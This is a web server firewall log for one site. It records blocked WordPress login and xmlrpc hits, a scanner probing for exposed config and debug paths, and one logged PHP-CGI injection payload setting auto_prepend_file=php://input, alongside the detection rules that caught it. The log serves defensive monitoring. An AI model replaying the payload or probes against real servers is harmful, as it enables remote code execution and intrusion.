[Mon Dec 22 04:00:26.692518 2025] [:error] [pid 13824:tid 13893] [client 94.182.178.52:45632] [client 94.182.178.52] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 94.182.178.52, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUhR2ncwuTBfe4Y-WLmmJAAAAIc"]
[Mon Dec 22 04:00:30.259832 2025] [:error] [pid 13823:tid 13870] [client 94.182.178.52:45816] [client 94.182.178.52] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 94.182.178.52, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUhR3gZs-XFLkWQJ3bGmSQAAAEs"]
[Mon Dec 22 04:00:39.178841 2025] [:error] [pid 13824:tid 13901] [client 94.182.178.52:56588] [client 94.182.178.52] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 94.182.178.52, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUhR53cwuTBfe4Y-WLmmNQAAAI8"]
[Mon Dec 22 04:01:11.156309 2025] [:error] [pid 13822:tid 13832] [client 47.99.138.203:45518] [client 47.99.138.203] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 47.99.138.203, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUhSB6BRslu-iFMu1rrP1gAAAAA"]
[Mon Dec 22 04:01:15.146498 2025] [:error] [pid 13823:tid 13877] [client 47.99.138.203:45896] [client 47.99.138.203] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 47.99.138.203, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUhSCwZs-XFLkWQJ3bGmmQAAAFI"]
[Mon Dec 22 04:01:17.353663 2025] [:error] [pid 13823:tid 13869] [client 47.99.138.203:46108] [client 47.99.138.203] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 47.99.138.203, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUhSDQZs-XFLkWQJ3bGmnwAAAEo"]
[Mon Dec 22 04:01:21.871785 2025] [:error] [pid 13824:tid 13902] [client 45.118.151.91:60451] [client 45.118.151.91] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.118.151.91, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUhSEXcwuTBfe4Y-WLmmaQAAAJA"]
[Mon Dec 22 04:01:23.694639 2025] [:error] [pid 13922:tid 13939] [client 45.118.151.91:60482] [client 45.118.151.91] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.118.151.91, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUhSE1907LxTulD-ZGrv8wAAAM4"]
[Mon Dec 22 04:01:25.555294 2025] [:error] [pid 13823:tid 13882] [client 45.118.151.91:60536] [client 45.118.151.91] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.118.151.91, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUhSFQZs-XFLkWQJ3bGmqgAAAFc"]
[Mon Dec 22 04:35:45.477288 2025] [:error] [pid 58172:tid 58188] [client 208.85.18.23:56853] [client 208.85.18.23] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 208.85.18.23, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUhaIeSVKDT5jWOcnSXkCwAAAM4"]
[Mon Dec 22 04:35:45.477751 2025] [:error] [pid 58172:tid 58176] [client 208.85.18.23:56852] [client 208.85.18.23] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 208.85.18.23, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUhaIeSVKDT5jWOcnSXkDAAAAMI"]
[Mon Dec 22 05:16:31.061041 2025] [:error] [pid 58078:tid 58094] [client 62.204.61.5:23906] [client 62.204.61.5] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.204.61.5, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUhjr5WKg9Bf8njHlB5jcQAAAAs"]
[Mon Dec 22 05:42:49.657260 2025] [:error] [pid 33643:tid 33658] [client 98.98.171.120:65171] [client 98.98.171.120] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 98.98.171.120, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUhp2UoNwyN4xVhAvNN6lAAAAow"]
[Mon Dec 22 05:42:49.658911 2025] [:error] [pid 33564:tid 33568] [client 98.98.171.120:65172] [client 98.98.171.120] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 98.98.171.120, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUhp2QSHeG6oLmMnKY6f9AAAAgE"]
[Mon Dec 22 06:05:36.421751 2025] [:error] [pid 33643:tid 33659] [client 62.171.133.68:37614] [client 62.171.133.68] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.171.133.68, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUhvMEoNwyN4xVhAvNN-dgAAAo0"]
[Mon Dec 22 06:34:04.705476 2025] [:error] [pid 33471:tid 33498] [client 118.190.174.68:33953] [client 118.190.174.68] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 118.190.174.68, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUh13L5BeNE7regJ7iyI2gAAAVg"]
[Mon Dec 22 06:34:09.102216 2025] [:error] [pid 33472:tid 33502] [client 118.190.174.68:53856] [client 118.190.174.68] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 118.190.174.68, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUh14Z5p2WQpPIK8HAkkSAAAAYE"]
[Mon Dec 22 06:34:12.919795 2025] [:error] [pid 58172:tid 58177] [client 118.190.174.68:7758] [client 118.190.174.68] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 118.190.174.68, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUh15OSVKDT5jWOcnSX-KwAAAMM"]
[Mon Dec 22 06:34:43.373969 2025] [:error] [pid 33565:tid 33607] [client 124.70.99.232:57772] [client 124.70.99.232] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 124.70.99.232, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUh2A9OWX69q8T0m_yJ8IQAAAk0"]
[Mon Dec 22 06:34:47.075045 2025] [:error] [pid 33471:tid 33490] [client 124.70.99.232:36682] [client 124.70.99.232] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 124.70.99.232, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUh2B75BeNE7regJ7iyJXAAAAVA"]
[Mon Dec 22 06:34:50.180031 2025] [:error] [pid 33471:tid 33486] [client 124.70.99.232:36686] [client 124.70.99.232] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 124.70.99.232, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUh2Cr5BeNE7regJ7iyJYQAAAUw"]
[Mon Dec 22 06:35:33.540396 2025] [:error] [pid 33565:tid 33602] [client 155.94.145.20:34836] [client 155.94.145.20] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 155.94.145.20, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUh2NdOWX69q8T0m_yJ8OAAAAkg"]
[Mon Dec 22 06:35:36.310478 2025] [:error] [pid 58172:tid 58182] [client 155.94.145.20:34996] [client 155.94.145.20] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 155.94.145.20, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUh2OOSVKDT5jWOcnSX-ZQAAAMg"]
[Mon Dec 22 06:35:38.720756 2025] [:error] [pid 33564:tid 33584] [client 155.94.145.20:35150] [client 155.94.145.20] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 155.94.145.20, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUh2OgSHeG6oLmMnKY6xIgAAAhE"]
[Mon Dec 22 06:35:43.066742 2025] [:error] [pid 33471:tid 33490] [client 95.216.246.44:56596] [client 95.216.246.44] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 95.216.246.44, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUh2P75BeNE7regJ7iyJpAAAAVA"]
[Mon Dec 22 06:35:45.759856 2025] [:error] [pid 33643:tid 33660] [client 95.216.246.44:33158] [client 95.216.246.44] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 95.216.246.44, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUh2QUoNwyN4xVhAvNODQgAAAo4"]
[Mon Dec 22 06:35:48.308703 2025] [:error] [pid 33564:tid 33589] [client 95.216.246.44:33170] [client 95.216.246.44] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 95.216.246.44, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUh2RASHeG6oLmMnKY6xLwAAAhY"]
[Mon Dec 22 06:35:57.419735 2025] [:error] [pid 58078:tid 58094] [client 62.210.185.4:49862] [client 62.210.185.4] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 62.210.185.4, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUh2TZWKg9Bf8njHlB50SwAAAAs"]
[Mon Dec 22 06:36:00.148872 2025] [:error] [pid 33564:tid 33571] [client 62.210.185.4:50254] [client 62.210.185.4] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 62.210.185.4, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUh2UASHeG6oLmMnKY6xjgAAAgQ"]
[Mon Dec 22 06:36:03.040411 2025] [:error] [pid 33535:tid 33549] [client 62.210.185.4:50738] [client 62.210.185.4] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 62.210.185.4, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUh2U2OCI8D9Xtn-n7TqZAAAAcw"]
[Mon Dec 22 06:37:03.465334 2025] [:error] [pid 33440:tid 33450] [client 47.109.198.34:34920] [client 47.109.198.34] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 47.109.198.34, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUh2j5OsUWKqgxu6QTRs2QAAAQg"]
[Mon Dec 22 06:37:06.137615 2025] [:error] [pid 58078:tid 58105] [client 34.142.211.126:50588] [client 34.142.211.126] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.142.211.126, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUh2kpWKg9Bf8njHlB50bQAAABY"]
[Mon Dec 22 06:37:07.213195 2025] [:error] [pid 58079:tid 58126] [client 47.109.198.34:34924] [client 47.109.198.34] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 47.109.198.34, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUh2k3xLB7WYaNS5A7jPFAAAAE0"]
[Mon Dec 22 06:37:07.916957 2025] [:error] [pid 33643:tid 33667] [client 34.142.211.126:50596] [client 34.142.211.126] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.142.211.126, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUh2k0oNwyN4xVhAvNODeAAAApU"]
[Mon Dec 22 06:37:09.730406 2025] [:error] [pid 58079:tid 58123] [client 34.142.211.126:50608] [client 34.142.211.126] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.142.211.126, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUh2lXxLB7WYaNS5A7jPFgAAAEo"]
[Mon Dec 22 06:37:10.674210 2025] [:error] [pid 58172:tid 58190] [client 47.109.198.34:52840] [client 47.109.198.34] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 47.109.198.34, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUh2luSVKDT5jWOcnSX-kAAAANA"]
[Mon Dec 22 06:50:39.981223 2025] [:error] [pid 33471:tid 33486] [client 162.241.218.97:40786] [client 162.241.218.97] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.241.218.97, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUh5v75BeNE7regJ7iyN-wAAAUw"]
[Mon Dec 22 06:57:03.158732 2025] [:error] [pid 33472:tid 33515] [client 143.110.213.72:45004] [client 143.110.213.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v2/api-docs"] [unique_id "aUh7P55p2WQpPIK8HAkoZwAAAY4"]
[Mon Dec 22 06:57:04.129970 2025] [:error] [pid 58078:tid 58088] [client 143.110.213.72:45018] [client 143.110.213.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v3/api-docs"] [unique_id "aUh7QJWKg9Bf8njHlB549AAAAAU"]
[Mon Dec 22 06:57:05.137784 2025] [:error] [pid 33535:tid 33552] [client 143.110.213.72:55104] [client 143.110.213.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/api-docs/swagger.json"] [unique_id "aUh7QWOCI8D9Xtn-n7TvwwAAAc8"]
[Mon Dec 22 06:57:06.102220 2025] [:error] [pid 33440:tid 33457] [client 164.92.107.174:40044] [client 164.92.107.174] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)php://(std(in|out|err)|(in|out)put|fd|memory|temp|filter)" at ARGS_NAMES:\\xadd cgi.force_redirect=0 \\xadd disable_functions="" \\xadd allow_url_include=1 \\xadd auto_prepend_file=php://input. [file "/usr/local/apache/modsecurity-cwaf/rules/21_PHP_PHPGen.conf"] [line "22"] [id "218420"] [rev "2"] [msg "COMODO WAF: PHP Injection Attack: I/O Stream Found||www.gigfragments.org|F|2"] [data "Matched Data: php://input found within ARGS_NAMES:\\x5cxadd cgi.force_redirect=0 \\x5cxadd disable_functions=\\x22\\x22 \\x5cxadd allow_url_include=1 \\x5cxadd auto_prepend_file=php://input: \\xadd cgi.force_redirect=0 \\xadd disable_functions=\\x22\\x22 \\xadd allow_url_include=1 \\xadd auto_prepend_file=php://input"] [severity "CRITICAL"] [tag "CWAF"] [tag "PHPGen"] [hostname "www.gigfragments.org"] [uri "/php-cgi/php-cgi.exe"] [unique_id "aUh7QpOsUWKqgxu6QTRwTwAAAQ8"]
[Mon Dec 22 06:57:06.129878 2025] [:error] [pid 33535:tid 33542] [client 143.110.213.72:55110] [client 143.110.213.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/api/swagger.json"] [unique_id "aUh7QmOCI8D9Xtn-n7TvxQAAAcU"]
[Mon Dec 22 06:57:07.130117 2025] [:error] [pid 33535:tid 33556] [client 143.110.213.72:55126] [client 143.110.213.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/@vite/env"] [unique_id "aUh7Q2OCI8D9Xtn-n7TvyQAAAdM"]
[Mon Dec 22 06:57:08.130969 2025] [:error] [pid 33535:tid 33559] [client 143.110.213.72:55138] [client 143.110.213.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/actuator/env"] [unique_id "aUh7RGOCI8D9Xtn-n7TvzAAAAdY"]
[Mon Dec 22 06:57:09.133176 2025] [:error] [pid 58172:tid 58177] [client 143.110.213.72:55144] [client 143.110.213.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/php-cgi/php-cgi.exe"] [unique_id "aUh7ReSVKDT5jWOcnSUCOwAAAMM"]
[Mon Dec 22 06:57:10.132255 2025] [:error] [pid 33471:tid 33490] [client 143.110.213.72:55146] [client 143.110.213.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/server"] [unique_id "aUh7Rr5BeNE7regJ7iyPrwAAAVA"]
[Mon Dec 22 06:57:11.132054 2025] [:error] [pid 33643:tid 33652] [client 143.110.213.72:55156] [client 143.110.213.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.vscode/sftp.json"] [unique_id "aUh7R0oNwyN4xVhAvNOGsQAAAoY"]
[Mon Dec 22 06:57:13.159800 2025] [:error] [pid 33471:tid 33495] [client 143.110.213.72:55160] [client 143.110.213.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about"] [unique_id "aUh7Sb5BeNE7regJ7iyPsgAAAVU"]
[Mon Dec 22 06:57:14.152296 2025] [:error] [pid 33440:tid 33444] [client 143.110.213.72:55162] [client 143.110.213.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/debug/default/view"] [unique_id "aUh7SpOsUWKqgxu6QTRwVQAAAQI"]
[Mon Dec 22 06:57:15.151035 2025] [:error] [pid 58079:tid 58113] [client 143.110.213.72:53994] [client 143.110.213.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v2/_catalog"] [unique_id "aUh7S3xLB7WYaNS5A7jTIwAAAEA"]
[Mon Dec 22 06:57:16.152796 2025] [:error] [pid 33535:tid 33546] [client 143.110.213.72:53996] [client 143.110.213.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool.application"] [unique_id "aUh7TGOCI8D9Xtn-n7Tv0gAAAck"]
[Mon Dec 22 06:57:17.152268 2025] [:error] [pid 33535:tid 33537] [client 143.110.213.72:54010] [client 143.110.213.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/server-status"] [unique_id "aUh7TWOCI8D9Xtn-n7Tv1AAAAcA"]
[Mon Dec 22 06:57:17.330212 2025] [authz_core:error] [pid 33535:tid 33544] [client 164.92.107.174:50806] AH01630: client denied by server configuration: /home/gigfrag/public_html/server-status
[Mon Dec 22 06:57:18.176857 2025] [:error] [pid 33565:tid 33603] [client 143.110.213.72:54022] [client 143.110.213.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/login.action"] [unique_id "aUh7TtOWX69q8T0m_yJ_zQAAAkk"]
[Mon Dec 22 06:57:19.152908 2025] [:error] [pid 33564:tid 33581] [client 143.110.213.72:54036] [client 143.110.213.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/_all_dbs"] [unique_id "aUh7TwSHeG6oLmMnKY65awAAAg4"]
[Mon Dec 22 06:57:20.176563 2025] [:error] [pid 33535:tid 33549] [client 143.110.213.72:54044] [client 143.110.213.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.DS_Store"] [unique_id "aUh7UGOCI8D9Xtn-n7Tv2gAAAcw"]
